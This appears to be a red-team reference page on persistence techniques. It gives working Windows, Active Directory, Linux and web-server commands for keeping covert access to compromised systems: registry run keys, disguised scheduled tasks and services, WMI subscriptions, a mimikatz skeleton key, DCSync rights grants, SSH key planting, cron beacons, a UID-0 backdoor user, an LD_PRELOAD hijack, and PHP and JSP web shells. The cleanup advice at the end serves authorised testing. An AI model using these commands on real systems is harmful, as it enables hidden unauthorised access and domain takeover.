Persistence Techniques

Persistence ensures continued access to compromised systems across reboots, user logouts, and credential changes. Choose techniques based on stealth requirements and detection risk.

Warning

Document all persistence mechanisms for cleanup. Persistence can trigger alerts and leave forensic artifacts - balance coverage with stealth.

Windows User-Level Persistence

Registry Run Keys

powershell
# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"

# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"

# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Startup Folder

powershell
# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()

Scheduled Tasks (User)

powershell
# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon

# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger

# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $Trigger

Windows System-Level Persistence

Windows Services

powershell
# Create service
sc create "Windows Update Service" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto

# Modify existing service
sc config servicename binpath= "C:\malicious.exe"

# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"

WMI Event Subscription

Information

WMI persistence survives reboots and is harder to detect than registry keys. Requires admin privileges.
powershell
# Create WMI Event Filter
$FilterArgs = @{
    Name = 'WinUpdate'
    EventNameSpace = 'root\CimV2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Create Consumer (execute payload)
$ConsumerArgs = @{
    Name = 'WinUpdate'
    CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Bind Filter to Consumer
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

DLL Search Order Hijacking

powershell
# Find vulnerable applications
# Applications that load DLLs from writable paths

# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable

# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications

# Place malicious DLL in writable PATH location
# or application directory

COM Object Hijacking

powershell
# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\

# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"

Active Directory Persistence

Skeleton Key

text
# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across reboots

AdminSDHolder Abuse

powershell
# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts

# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"

$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "GenericAll",
    "Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL

# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.

DSRM Backdoor

powershell
# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion

# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior

# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH

Security Descriptor Modification

powershell
# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID

# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName

# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACL

Linux Persistence

SSH Keys

bash
# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add to all users
for user in $(ls /home/); do
  mkdir -p /home/$user/.ssh
  echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
  chown -R $user:$user /home/$user/.ssh
done

Cron Jobs

bash
# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -

# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab

# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Service

bash
# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

Backdoor User

bash
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd

# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some tools

LD_PRELOAD Hijacking

bash
# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>

void _init() {
    system("/tmp/beacon.sh");
}
EOF

gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preload

Web Server Persistence

Web Shells

text
# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>

# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter

# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Detection & Cleanup

Document Everything

text
# Track all persistence mechanisms
| Technique          | Location                              | Cleanup Command |
|--------------------|---------------------------------------|-----------------|
| Registry Run Key   | HKCU\...\Run\Update                 | reg delete ...  |
| Scheduled Task     | OneDrive Update                       | schtasks /delete|
| Service            | WinUpdate                             | sc delete ...   |
| WMI Subscription   | WinUpdate                             | Remove-WMI...   |
| SSH Key            | /root/.ssh/authorized_keys            | Remove line     |
| Cron Job           | /etc/cron.daily/update                | rm file         |
| Systemd Service    | /etc/systemd/system/update.service    | systemctl stop  |

Danger

Always clean up persistence at the end of an engagement. Leaving backdoors creates security risks and potential legal liability.